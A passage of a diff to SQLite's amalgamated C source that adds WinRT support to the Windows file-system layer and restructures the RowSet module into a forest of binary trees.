        int iOffsetShift = iOffset % winSysInfo.dwAllocationGranularity;
+
#if SQLITE_OS_WINRT
+
        pMap = osMapViewOfFileFromApp(hMap, FILE_MAP_WRITE | FILE_MAP_READ,
+
            iOffset - iOffsetShift, szRegion + iOffsetShift
+
        );
+
#else
        pMap = osMapViewOfFile(hMap, FILE_MAP_WRITE | FILE_MAP_READ,
            0, iOffset - iOffsetShift, szRegion + iOffsetShift
        );
+
#endif
        OSTRACE(("SHM-MAP pid-%d map region=%d offset=%d size=%d %s\n",
                 (int)osGetCurrentProcessId(), pShmNode->nRegion, iOffset,
                 szRegion, pMap ? "ok" : "failed"));
@@ -35020,13 +35557,12 @@ static void *convertUtf8Filename(const char *zFilename){
  void *zConverted = 0;
  if( isNT() ){
    zConverted = utf8ToUnicode(zFilename);
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    zConverted = sqlite3_win32_utf8_to_mbcs(zFilename);
-
#endif
  }
+
#endif
  /* caller will handle out of memory */
  return zConverted;
}
@@ -35041,6 +35577,7 @@ static int getTempname(int nBuf, char *zBuf){
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "0123456789";
  size_t i, j;
+
  int nTempPath;
  char zTempPath[MAX_PATH+2];

  /* It's odd to simulate an io-error here, but really this is just
@@ -35049,9 +35586,13 @@ static int getTempname(int nBuf, char *zBuf){
  */
  SimulateIOError( return SQLITE_IOERR );

+
  memset(zTempPath, 0, MAX_PATH+2);
+

  if( sqlite3_temp_directory ){
    sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", sqlite3_temp_directory);
-
  }else if( isNT() ){
+
  }
+
#if !SQLITE_OS_WINRT
+
  else if( isNT() ){
    char *zMulti;
    WCHAR zWidePath[MAX_PATH];
    osGetTempPathW(MAX_PATH-30, zWidePath);
@@ -35062,12 +35603,9 @@ static int getTempname(int nBuf, char *zBuf){
    }else{
      return SQLITE_IOERR_NOMEM;
    }
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    char *zUtf8;
    char zMbcsPath[MAX_PATH];
    osGetTempPathA(MAX_PATH-30, zMbcsPath);
@@ -35078,21 +35616,25 @@ static int getTempname(int nBuf, char *zBuf){
    }else{
      return SQLITE_IOERR_NOMEM;
    }
-
#endif
  }
+
#endif
+
#endif

  /* Check that the output buffer is large enough for the temporary file 
  ** name. If it is not, return SQLITE_ERROR.
  */
-
  if( (sqlite3Strlen30(zTempPath) + sqlite3Strlen30(SQLITE_TEMP_FILE_PREFIX) + 18) >= nBuf ){
+
  nTempPath = sqlite3Strlen30(zTempPath);
+

+
  if( (nTempPath + sqlite3Strlen30(SQLITE_TEMP_FILE_PREFIX) + 18) >= nBuf ){
    return SQLITE_ERROR;
  }

-
  for(i=sqlite3Strlen30(zTempPath); i>0 && zTempPath[i-1]=='\\'; i--){}
+
  for(i=nTempPath; i>0 && zTempPath[i-1]=='\\'; i--){}
  zTempPath[i] = 0;

-
  sqlite3_snprintf(nBuf-18, zBuf,
-
                   "%s\\"SQLITE_TEMP_FILE_PREFIX, zTempPath);
+
  sqlite3_snprintf(nBuf-18, zBuf, (nTempPath > 0) ?
+
                       "%s\\"SQLITE_TEMP_FILE_PREFIX : SQLITE_TEMP_FILE_PREFIX,
+
                   zTempPath);
  j = sqlite3Strlen30(zBuf);
  sqlite3_randomness(15, &zBuf[j]);
  for(i=0; i<15; i++, j++){
@@ -35106,6 +35648,35 @@ static int getTempname(int nBuf, char *zBuf){
}

/*
+
** Return TRUE if the named file is really a directory.  Return false if
+
** it is something other than a directory, or if there is any kind of memory
+
** allocation failure.
+
*/
+
static int winIsDir(const void *zConverted){
+
  DWORD attr;
+
  int rc = 0;
+
  DWORD lastErrno;
+

+
  if( isNT() ){
+
    int cnt = 0;
+
    WIN32_FILE_ATTRIBUTE_DATA sAttrData;
+
    memset(&sAttrData, 0, sizeof(sAttrData));
+
    while( !(rc = osGetFileAttributesExW((LPCWSTR)zConverted,
+
                             GetFileExInfoStandard,
+
                             &sAttrData)) && retryIoerr(&cnt, &lastErrno) ){}
+
    if( !rc ){
+
      return 0; /* Invalid name? */
+
    }
+
    attr = sAttrData.dwFileAttributes;
+
#if SQLITE_OS_WINCE==0
+
  }else{
+
    attr = osGetFileAttributesA((char*)zConverted);
+
#endif
+
  }
+
  return (attr!=INVALID_FILE_ATTRIBUTES) && (attr&FILE_ATTRIBUTE_DIRECTORY);
+
}
+

+
/*
** Open a file.
*/
static int winOpen(
@@ -35211,6 +35782,11 @@ static int winOpen(
    return SQLITE_IOERR_NOMEM;
  }

+
  if( winIsDir(zConverted) ){
+
    sqlite3_free(zConverted);
+
    return SQLITE_CANTOPEN_ISDIR;
+
  }
+

  if( isReadWrite ){
    dwDesiredAccess = GENERIC_READ | GENERIC_WRITE;
  }else{
@@ -35254,29 +35830,48 @@ static int winOpen(
#endif

  if( isNT() ){
+
#if SQLITE_OS_WINRT
+
    CREATEFILE2_EXTENDED_PARAMETERS extendedParameters;
+
    extendedParameters.dwSize = sizeof(CREATEFILE2_EXTENDED_PARAMETERS);
+
    extendedParameters.dwFileAttributes =
+
            dwFlagsAndAttributes & FILE_ATTRIBUTE_MASK;
+
    extendedParameters.dwFileFlags = dwFlagsAndAttributes & FILE_FLAG_MASK;
+
    extendedParameters.dwSecurityQosFlags = SECURITY_ANONYMOUS;
+
    extendedParameters.lpSecurityAttributes = NULL;
+
    extendedParameters.hTemplateFile = NULL;
+
    while( (h = osCreateFile2((LPCWSTR)zConverted,
+
                              dwDesiredAccess,
+
                              dwShareMode,
+
                              dwCreationDisposition,
+
                              &extendedParameters))==INVALID_HANDLE_VALUE &&
+
                              retryIoerr(&cnt, &lastErrno) ){
+
               /* Noop */
+
    }
+
#else
    while( (h = osCreateFileW((LPCWSTR)zConverted,
                              dwDesiredAccess,
                              dwShareMode, NULL,
                              dwCreationDisposition,
                              dwFlagsAndAttributes,
                              NULL))==INVALID_HANDLE_VALUE &&
-
                              retryIoerr(&cnt, &lastErrno) ){}
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
                              retryIoerr(&cnt, &lastErrno) ){
+
               /* Noop */
+
    }
+
#endif
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    while( (h = osCreateFileA((LPCSTR)zConverted,
                              dwDesiredAccess,
                              dwShareMode, NULL,
                              dwCreationDisposition,
                              dwFlagsAndAttributes,
                              NULL))==INVALID_HANDLE_VALUE &&
-
                              retryIoerr(&cnt, &lastErrno) ){}
-
#endif
+
                              retryIoerr(&cnt, &lastErrno) ){
+
               /* Noop */
+
    }
  }
-

+
#endif
  logIoerr(cnt);

  OSTRACE(("OPEN %d %s 0x%lx %s\n", 
@@ -35353,6 +35948,7 @@ static int winDelete(
){
  int cnt = 0;
  int rc;
+
  DWORD attr;
  DWORD lastErrno;
  void *zConverted;
  UNUSED_PARAMETER(pVfs);
@@ -35364,22 +35960,61 @@ static int winDelete(
    return SQLITE_IOERR_NOMEM;
  }
  if( isNT() ){
-
    rc = 1;
-
    while( osGetFileAttributesW(zConverted)!=INVALID_FILE_ATTRIBUTES &&
-
         (rc = osDeleteFileW(zConverted))==0 && retryIoerr(&cnt, &lastErrno) ){}
-
    rc = rc ? SQLITE_OK : SQLITE_ERROR;
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
-
    rc = 1;
-
    while( osGetFileAttributesA(zConverted)!=INVALID_FILE_ATTRIBUTES &&
-
         (rc = osDeleteFileA(zConverted))==0 && retryIoerr(&cnt, &lastErrno) ){}
-
    rc = rc ? SQLITE_OK : SQLITE_ERROR;
+
    do {
+
#if SQLITE_OS_WINRT
+
      WIN32_FILE_ATTRIBUTE_DATA sAttrData;
+
      memset(&sAttrData, 0, sizeof(sAttrData));
+
      if ( osGetFileAttributesExW(zConverted, GetFileExInfoStandard,
+
                                  &sAttrData) ){
+
        attr = sAttrData.dwFileAttributes;
+
      }else{
+
        rc = SQLITE_OK; /* Already gone? */
+
        break;
+
      }
+
#else
+
      attr = osGetFileAttributesW(zConverted);
#endif
+
      if ( attr==INVALID_FILE_ATTRIBUTES ){
+
        rc = SQLITE_OK; /* Already gone? */
+
        break;
+
      }
+
      if ( attr&FILE_ATTRIBUTE_DIRECTORY ){
+
        rc = SQLITE_ERROR; /* Files only. */
+
        break;
+
      }
+
      if ( osDeleteFileW(zConverted) ){
+
        rc = SQLITE_OK; /* Deleted OK. */
+
        break;
+
      }
+
      if ( !retryIoerr(&cnt, &lastErrno) ){
+
        rc = SQLITE_ERROR; /* No more retries. */
+
        break;
+
      }
+
    } while(1);
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
+
    do {
+
      attr = osGetFileAttributesA(zConverted);
+
      if ( attr==INVALID_FILE_ATTRIBUTES ){
+
        rc = SQLITE_OK; /* Already gone? */
+
        break;
+
      }
+
      if ( attr&FILE_ATTRIBUTE_DIRECTORY ){
+
        rc = SQLITE_ERROR; /* Files only. */
+
        break;
+
      }
+
      if ( osDeleteFileA(zConverted) ){
+
        rc = SQLITE_OK; /* Deleted OK. */
+
        break;
+
      }
+
      if ( !retryIoerr(&cnt, &lastErrno) ){
+
        rc = SQLITE_ERROR; /* No more retries. */
+
        break;
+
      }
+
    } while(1);
+
  }
+
#endif
  if( rc ){
    rc = winLogError(SQLITE_IOERR_DELETE, lastErrno,
             "winDelete", zFilename);
@@ -35439,15 +36074,12 @@ static int winAccess(
        attr = INVALID_FILE_ATTRIBUTES;
      }
    }
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    attr = osGetFileAttributesA((char*)zConverted);
-
#endif
  }
+
#endif
  sqlite3_free(zConverted);
  switch( flags ){
    case SQLITE_ACCESS_READ:
@@ -35467,6 +36099,43 @@ static int winAccess(


/*
+
** Returns non-zero if the specified path name should be used verbatim.  If
+
** non-zero is returned from this function, the calling function must simply
+
** use the provided path name verbatim -OR- resolve it into a full path name
+
** using the GetFullPathName Win32 API function (if available).
+
*/
+
static BOOL winIsVerbatimPathname(
+
  const char *zPathname
+
){
+
  /*
+
  ** If the path name starts with a forward slash or a backslash, it is either
+
  ** a legal UNC name, a volume relative path, or an absolute path name in the
+
  ** "Unix" format on Windows.  There is no easy way to differentiate between
+
  ** the final two cases; therefore, we return the safer return value of TRUE
+
  ** so that callers of this function will simply use it verbatim.
+
  */
+
  if ( zPathname[0]=='/' || zPathname[0]=='\\' ){
+
    return TRUE;
+
  }
+

+
  /*
+
  ** If the path name starts with a letter and a colon it is either a volume
+
  ** relative path or an absolute path.  Callers of this function must not
+
  ** attempt to treat it as a relative path name (i.e. they should simply use
+
  ** it verbatim).
+
  */
+
  if ( sqlite3Isalpha(zPathname[0]) && zPathname[1]==':' ){
+
    return TRUE;
+
  }
+

+
  /*
+
  ** If we get to this point, the path name should almost certainly be a purely
+
  ** relative one (i.e. not a UNC name, not absolute, and not volume relative).
+
  */
+
  return FALSE;
+
}
+

+
/*
** Turn a relative pathname into a full pathname.  Write the full
** pathname into zOut[].  zOut[] will be at least pVfs->mxPathname
** bytes in size.
@@ -35481,19 +36150,51 @@ static int winFullPathname(
#if defined(__CYGWIN__)
  SimulateIOError( return SQLITE_ERROR );
  UNUSED_PARAMETER(nFull);
-
  cygwin_conv_to_full_win32_path(zRelative, zFull);
+
  assert( pVfs->mxPathname>=MAX_PATH );
+
  assert( nFull>=pVfs->mxPathname );
+
  if ( sqlite3_data_directory && !winIsVerbatimPathname(zRelative) ){
+
    /*
+
    ** NOTE: We are dealing with a relative path name and the data
+
    **       directory has been set.  Therefore, use it as the basis
+
    **       for converting the relative path name to an absolute
+
    **       one by prepending the data directory and a slash.
+
    */
+
    char zOut[MAX_PATH+1];
+
    memset(zOut, 0, MAX_PATH+1);
+
    cygwin_conv_to_win32_path(zRelative, zOut); /* POSIX to Win32 */
+
    sqlite3_snprintf(MIN(nFull, pVfs->mxPathname), zFull, "%s\\%s",
+
                     sqlite3_data_directory, zOut);
+
  }else{
+
    /*
+
    ** NOTE: The Cygwin docs state that the maximum length needed
+
    **       for the buffer passed to cygwin_conv_to_full_win32_path
+
    **       is MAX_PATH.
+
    */
+
    cygwin_conv_to_full_win32_path(zRelative, zFull);
+
  }
  return SQLITE_OK;
#endif

-
#if SQLITE_OS_WINCE
+
#if (SQLITE_OS_WINCE || SQLITE_OS_WINRT) && !defined(__CYGWIN__)
  SimulateIOError( return SQLITE_ERROR );
-
  UNUSED_PARAMETER(nFull);
  /* WinCE has no concept of a relative pathname, or so I am told. */
-
  sqlite3_snprintf(pVfs->mxPathname, zFull, "%s", zRelative);
+
  /* WinRT has no way to convert a relative path to an absolute one. */
+
  if ( sqlite3_data_directory && !winIsVerbatimPathname(zRelative) ){
+
    /*
+
    ** NOTE: We are dealing with a relative path name and the data
+
    **       directory has been set.  Therefore, use it as the basis
+
    **       for converting the relative path name to an absolute
+
    **       one by prepending the data directory and a backslash.
+
    */
+
    sqlite3_snprintf(MIN(nFull, pVfs->mxPathname), zFull, "%s\\%s",
+
                     sqlite3_data_directory, zRelative);
+
  }else{
+
    sqlite3_snprintf(MIN(nFull, pVfs->mxPathname), zFull, "%s", zRelative);
+
  }
  return SQLITE_OK;
#endif

-
#if !SQLITE_OS_WINCE && !defined(__CYGWIN__)
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT && !defined(__CYGWIN__)
  int nByte;
  void *zConverted;
  char *zOut;
@@ -35511,7 +36212,17 @@ static int winFullPathname(
  ** current working directory has been unlinked.
  */
  SimulateIOError( return SQLITE_ERROR );
-
  UNUSED_PARAMETER(nFull);
+
  if ( sqlite3_data_directory && !winIsVerbatimPathname(zRelative) ){
+
    /*
+
    ** NOTE: We are dealing with a relative path name and the data
+
    **       directory has been set.  Therefore, use it as the basis
+
    **       for converting the relative path name to an absolute
+
    **       one by prepending the data directory and a backslash.
+
    */
+
    sqlite3_snprintf(MIN(nFull, pVfs->mxPathname), zFull, "%s\\%s",
+
                     sqlite3_data_directory, zRelative);
+
    return SQLITE_OK;
+
  }
  zConverted = convertUtf8Filename(zRelative);
  if( zConverted==0 ){
    return SQLITE_IOERR_NOMEM;
@@ -35528,12 +36239,9 @@ static int winFullPathname(
    sqlite3_free(zConverted);
    zOut = unicodeToUtf8(zTemp);
    sqlite3_free(zTemp);
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    char *zTemp;
    nByte = osGetFullPathNameA((char*)zConverted, 0, 0, 0) + 3;
    zTemp = sqlite3_malloc( nByte*sizeof(zTemp[0]) );
@@ -35545,10 +36253,10 @@ static int winFullPathname(
    sqlite3_free(zConverted);
    zOut = sqlite3_win32_mbcs_to_utf8(zTemp);
    sqlite3_free(zTemp);
-
#endif
  }
+
#endif
  if( zOut ){
-
    sqlite3_snprintf(pVfs->mxPathname, zFull, "%s", zOut);
+
    sqlite3_snprintf(MIN(nFull, pVfs->mxPathname), zFull, "%s", zOut);
    sqlite3_free(zOut);
    return SQLITE_OK;
  }else{
@@ -35574,16 +36282,17 @@ static void *winDlOpen(sqlite3_vfs *pVfs, const char *zFilename){
    return 0;
  }
  if( isNT() ){
+
#if SQLITE_OS_WINRT
+
    h = osLoadPackagedLibrary((LPCWSTR)zConverted, 0);
+
#else
    h = osLoadLibraryW((LPCWSTR)zConverted);
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
-
    h = osLoadLibraryA((char*)zConverted);
#endif
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
+
    h = osLoadLibraryA((char*)zConverted);
+
  }
+
#endif
  sqlite3_free(zConverted);
  return (void*)h;
}
@@ -35628,11 +36337,19 @@ static int winRandomness(sqlite3_vfs *pVfs, int nBuf, char *zBuf){
    memcpy(&zBuf[n], &pid, sizeof(pid));
    n += sizeof(pid);
  }
+
#if SQLITE_OS_WINRT
+
  if( sizeof(ULONGLONG)<=nBuf-n ){
+
    ULONGLONG cnt = osGetTickCount64();
+
    memcpy(&zBuf[n], &cnt, sizeof(cnt));
+
    n += sizeof(cnt);
+
  }
+
#else
  if( sizeof(DWORD)<=nBuf-n ){
    DWORD cnt = osGetTickCount();
    memcpy(&zBuf[n], &cnt, sizeof(cnt));
    n += sizeof(cnt);
  }
+
#endif
  if( sizeof(LARGE_INTEGER)<=nBuf-n ){
    LARGE_INTEGER i;
    osQueryPerformanceCounter(&i);
@@ -35648,7 +36365,7 @@ static int winRandomness(sqlite3_vfs *pVfs, int nBuf, char *zBuf){
** Sleep for a little while.  Return the amount of time slept.
*/
static int winSleep(sqlite3_vfs *pVfs, int microsec){
-
  osSleep((microsec+999)/1000);
+
  sqlite3_win32_sleep((microsec+999)/1000);
  UNUSED_PARAMETER(pVfs);
  return ((microsec+999)/1000)*1000;
}
@@ -35790,12 +36507,16 @@ SQLITE_API int sqlite3_os_init(void){

  /* Double-check that the aSyscall[] array has been constructed
  ** correctly.  See ticket [bb3a86e890c8e96ab] */
-
  assert( ArraySize(aSyscall)==60 );
+
  assert( ArraySize(aSyscall)==73 );

#ifndef SQLITE_OMIT_WAL
  /* get memory map allocation granularity */
  memset(&winSysInfo, 0, sizeof(SYSTEM_INFO));
+
#if SQLITE_OS_WINRT
+
  osGetNativeSystemInfo(&winSysInfo);
+
#else
  osGetSystemInfo(&winSysInfo);
+
#endif
  assert(winSysInfo.dwAllocationGranularity > 0);
#endif

@@ -35804,6 +36525,12 @@ SQLITE_API int sqlite3_os_init(void){
}

SQLITE_API int sqlite3_os_end(void){ 
+
#if SQLITE_OS_WINRT
+
  if( sleepObj != NULL ){
+
    osCloseHandle(sleepObj);
+
    sleepObj = NULL;
+
  }
+
#endif
  return SQLITE_OK;
}

@@ -37055,12 +37782,14 @@ static void *pcache1Alloc(int nByte){
    ** it from sqlite3Malloc instead.
    */
    p = sqlite3Malloc(nByte);
+
#ifndef SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS
    if( p ){
      int sz = sqlite3MallocSize(p);
      sqlite3_mutex_enter(pcache1.mutex);
      sqlite3StatusAdd(SQLITE_STATUS_PAGECACHE_OVERFLOW, sz);
      sqlite3_mutex_leave(pcache1.mutex);
    }
+
#endif
    sqlite3MemdebugSetType(p, MEMTYPE_PCACHE);
  }
  return p;
@@ -37087,9 +37816,11 @@ static int pcache1Free(void *p){
    assert( sqlite3MemdebugHasType(p, MEMTYPE_PCACHE) );
    sqlite3MemdebugSetType(p, MEMTYPE_HEAP);
    nFreed = sqlite3MallocSize(p);
+
#ifndef SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS
    sqlite3_mutex_enter(pcache1.mutex);
    sqlite3StatusAdd(SQLITE_STATUS_PAGECACHE_OVERFLOW, -nFreed);
    sqlite3_mutex_leave(pcache1.mutex);
+
#endif
    sqlite3_free(p);
  }
  return nFreed;
@@ -37939,6 +38670,11 @@ SQLITE_PRIVATE void sqlite3PcacheStats(

/*
** Each entry in a RowSet is an instance of the following object.
+
**
+
** This same object is reused to store a linked list of trees of RowSetEntry
+
** objects.  In that alternative use, pRight points to the next entry
+
** in the list, pLeft points to the tree, and v is unused.  The
+
** RowSet.pForest value points to the head of this forest list.
*/
struct RowSetEntry {            
  i64 v;                        /* ROWID value for this entry */
@@ -37968,13 +38704,19 @@ struct RowSet {
  struct RowSetEntry *pEntry;    /* List of entries using pRight */
  struct RowSetEntry *pLast;     /* Last entry on the pEntry list */
  struct RowSetEntry *pFresh;    /* Source of new entry objects */
-
  struct RowSetEntry *pTree;     /* Binary tree of entries */
+
  struct RowSetEntry *pForest;   /* List of binary trees of entries */
  u16 nFresh;                    /* Number of objects on pFresh */
-
  u8 isSorted;                   /* True if pEntry is sorted */
+
  u8 rsFlags;                    /* Various flags */
  u8 iBatch;                     /* Current insert batch */
};

/*
+
** Allowed values for RowSet.rsFlags
+
*/
+
#define ROWSET_SORTED  0x01   /* True if RowSet.pEntry is sorted */
+
#define ROWSET_NEXT    0x02   /* True if sqlite3RowSetNext() has been called */
+

+
/*
** Turn bulk memory into a RowSet object.  N bytes of memory
** are available at pSpace.  The db pointer is used as a memory context
** for any subsequent allocations that need to occur.
@@ -37994,10 +38736,10 @@ SQLITE_PRIVATE RowSet *sqlite3RowSetInit(sqlite3 *db, void *pSpace, unsigned int
  p->db = db;
  p->pEntry = 0;
  p->pLast = 0;
-
  p->pTree = 0;
+
  p->pForest = 0;
  p->pFresh = (struct RowSetEntry*)(ROUND8(sizeof(*p)) + (char*)p);
  p->nFresh = (u16)((N - ROUND8(sizeof(*p)))/sizeof(struct RowSetEntry));
-
  p->isSorted = 1;
+
  p->rsFlags = ROWSET_SORTED;
  p->iBatch = 0;
  return p;
}
@@ -38017,43 +38759,59 @@ SQLITE_PRIVATE void sqlite3RowSetClear(RowSet *p){
  p->nFresh = 0;
  p->pEntry = 0;
  p->pLast = 0;
-
  p->pTree = 0;
-
  p->isSorted = 1;
+
  p->pForest = 0;
+
  p->rsFlags = ROWSET_SORTED;
}

/*
-
** Insert a new value into a RowSet.
+
** Allocate a new RowSetEntry object that is associated with the
+
** given RowSet.  Return a pointer to the new and completely uninitialized
+
** objected.
**
-
** The mallocFailed flag of the database connection is set if a
-
** memory allocation fails.
+
** In an OOM situation, the RowSet.db->mallocFailed flag is set and this
+
** routine returns NULL.
*/
-
SQLITE_PRIVATE void sqlite3RowSetInsert(RowSet *p, i64 rowid){
-
  struct RowSetEntry *pEntry;  /* The new entry */
-
  struct RowSetEntry *pLast;   /* The last prior entry */
+
static struct RowSetEntry *rowSetEntryAlloc(RowSet *p){
  assert( p!=0 );
  if( p->nFresh==0 ){
    struct RowSetChunk *pNew;
    pNew = sqlite3DbMallocRaw(p->db, sizeof(*pNew));
    if( pNew==0 ){
-
      return;
+
      return 0;
    }
    pNew->pNextChunk = p->pChunk;
    p->pChunk = pNew;
    p->pFresh = pNew->aEntry;
    p->nFresh = ROWSET_ENTRY_PER_CHUNK;
  }
-
  pEntry = p->pFresh++;
  p->nFresh--;
+
  return p->pFresh++;
+
}
+

+
/*
+
** Insert a new value into a RowSet.
+
**
+
** The mallocFailed flag of the database connection is set if a
+
** memory allocation fails.
+
*/
+
SQLITE_PRIVATE void sqlite3RowSetInsert(RowSet *p, i64 rowid){
+
  struct RowSetEntry *pEntry;  /* The new entry */
+
  struct RowSetEntry *pLast;   /* The last prior entry */
+

+
  /* This routine is never called after sqlite3RowSetNext() */
+
  assert( p!=0 && (p->rsFlags & ROWSET_NEXT)==0 );
+

+
  pEntry = rowSetEntryAlloc(p);
+
  if( pEntry==0 ) return;
  pEntry->v = rowid;
  pEntry->pRight = 0;
  pLast = p->pLast;
  if( pLast ){
-
    if( p->isSorted && rowid<=pLast->v ){
-
      p->isSorted = 0;
+
    if( (p->rsFlags & ROWSET_SORTED)!=0 && rowid<=pLast->v ){
+
      p->rsFlags &= ~ROWSET_SORTED;
    }
    pLast->pRight = pEntry;
  }else{
-
    assert( p->pEntry==0 ); /* Fires if INSERT after SMALLEST */
    p->pEntry = pEntry;
  }
  p->pLast = pEntry;
@@ -38065,7 +38823,7 @@ SQLITE_PRIVATE void sqlite3RowSetInsert(RowSet *p, i64 rowid){
** The input lists are connected via pRight pointers and are 
** assumed to each already be in sorted order.
*/
-
static struct RowSetEntry *rowSetMerge(
+
static struct RowSetEntry *rowSetEntryMerge(
  struct RowSetEntry *pA,    /* First sorted list to be merged */
  struct RowSetEntry *pB     /* Second sorted list to be merged */
){
@@ -38099,32 +38857,29 @@ static struct RowSetEntry *rowSetMerge(
}

/*
-
** Sort all elements on the pEntry list of the RowSet into ascending order.
+
** Sort all elements on the list of RowSetEntry objects into order of
+
** increasing v.
*/ 
-
static void rowSetSort(RowSet *p){
+
static struct RowSetEntry *rowSetEntrySort(struct RowSetEntry *pIn){
  unsigned int i;
-
  struct RowSetEntry *pEntry;
-
  struct RowSetEntry *aBucket[40];
+
  struct RowSetEntry *pNext, *aBucket[40];

-
  assert( p->isSorted==0 );
  memset(aBucket, 0, sizeof(aBucket));
-
  while( p->pEntry ){
-
    pEntry = p->pEntry;
-
    p->pEntry = pEntry->pRight;
-
    pEntry->pRight = 0;
+
  while( pIn ){
+
    pNext = pIn->pRight;
+
    pIn->pRight = 0;
    for(i=0; aBucket[i]; i++){
-
      pEntry = rowSetMerge(aBucket[i], pEntry);
+
      pIn = rowSetEntryMerge(aBucket[i], pIn);
      aBucket[i] = 0;
    }
-
    aBucket[i] = pEntry;
+
    aBucket[i] = pIn;
+
    pIn = pNext;
  }
-
  pEntry = 0;
+
  pIn = 0;
  for(i=0; i<sizeof(aBucket)/sizeof(aBucket[0]); i++){
-
    pEntry = rowSetMerge(pEntry, aBucket[i]);
+
    pIn = rowSetEntryMerge(pIn, aBucket[i]);
  }
-
  p->pEntry = pEntry;
-
  p->pLast = 0;
-
  p->isSorted = 1;
+
  return pIn;
}


@@ -38218,20 +38973,37 @@ static struct RowSetEntry *rowSetListToTree(struct RowSetEntry *pList){
}

/*
-
** Convert the list in p->pEntry into a sorted list if it is not
-
** sorted already.  If there is a binary tree on p->pTree, then
-
** convert it into a list too and merge it into the p->pEntry list.
+
** Take all the entries on p->pEntry and on the trees in p->pForest and
+
** sort them all together into one big ordered list on p->pEntry.
+
**
+
** This routine should only be called once in the life of a RowSet.
*/
static void rowSetToList(RowSet *p){
-
  if( !p->isSorted ){
-
    rowSetSort(p);
+

+
  /* This routine is called only once */
+
  assert( p!=0 && (p->rsFlags & ROWSET_NEXT)==0 );
+

+
  if( (p->rsFlags & ROWSET_SORTED)==0 ){
+
    p->pEntry = rowSetEntrySort(p->pEntry);
  }
-
  if( p->pTree ){
-
    struct RowSetEntry *pHead, *pTail;
-
    rowSetTreeToList(p->pTree, &pHead, &pTail);
-
    p->pTree = 0;
-
    p->pEntry = rowSetMerge(p->pEntry, pHead);
+

+
  /* While this module could theoretically support it, sqlite3RowSetNext()
+
  ** is never called after sqlite3RowSetText() for the same RowSet.  So
+
  ** there is never a forest to deal with.  Should this change, simply
+
  ** remove the assert() and the #if 0. */
+
  assert( p->pForest==0 );
+
#if 0
+
  while( p->pForest ){
+
    struct RowSetEntry *pTree = p->pForest->pLeft;
+
    if( pTree ){
+
      struct RowSetEntry *pHead, *pTail;
+
      rowSetTreeToList(pTree, &pHead, &pTail);
+
      p->pEntry = rowSetEntryMerge(p->pEntry, pHead);
+
    }
+
    p->pForest = p->pForest->pRight;
  }
+
#endif
+
  p->rsFlags |= ROWSET_NEXT;  /* Verify this routine is never called again */
}

/*
@@ -38243,7 +39015,12 @@ static void rowSetToList(RowSet *p){
** routine may not be called again.  
*/
SQLITE_PRIVATE int sqlite3RowSetNext(RowSet *p, i64 *pRowid){
-
  rowSetToList(p);
+
  assert( p!=0 );
+

+
  /* Merge the forest into a single sorted list on first call */
+
  if( (p->rsFlags & ROWSET_NEXT)==0 ) rowSetToList(p);
+

+
  /* Return the next entry on the list */
  if( p->pEntry ){
    *pRowid = p->pEntry->v;
    p->pEntry = p->pEntry->pRight;
@@ -38259,26 +39036,66 @@ SQLITE_PRIVATE int sqlite3RowSetNext(RowSet *p, i64 *pRowid){
/*
** Check to see if element iRowid was inserted into the the rowset as
** part of any insert batch prior to iBatch.  Return 1 or 0.
+
**
+
** If this is the first test of a new batch and if there exist entires
+
** on pRowSet->pEntry, then sort those entires into the forest at
+
** pRowSet->pForest so that they can be tested.
*/
SQLITE_PRIVATE int sqlite3RowSetTest(RowSet *pRowSet, u8 iBatch, sqlite3_int64 iRowid){
-
  struct RowSetEntry *p;
+
  struct RowSetEntry *p, *pTree;
+

+
  /* This routine is never called after sqlite3RowSetNext() */
+
  assert( pRowSet!=0 && (pRowSet->rsFlags & ROWSET_NEXT)==0 );
+

+
  /* Sort entries into the forest on the first test of a new batch 
+
  */
  if( iBatch!=pRowSet->iBatch ){
-
    if( pRowSet->pEntry ){
-
      rowSetToList(pRowSet);
-
      pRowSet->pTree = rowSetListToTree(pRowSet->pEntry);
+
    p = pRowSet->pEntry;
+
    if( p ){
+
      struct RowSetEntry **ppPrevTree = &pRowSet->pForest;
+
      if( (pRowSet->rsFlags & ROWSET_SORTED)==0 ){
+
        p = rowSetEntrySort(p);
+
      }
+
      for(pTree = pRowSet->pForest; pTree; pTree=pTree->pRight){
+
        ppPrevTree = &pTree->pRight;
+
        if( pTree->pLeft==0 ){
+
          pTree->pLeft = rowSetListToTree(p);
+
          break;
+
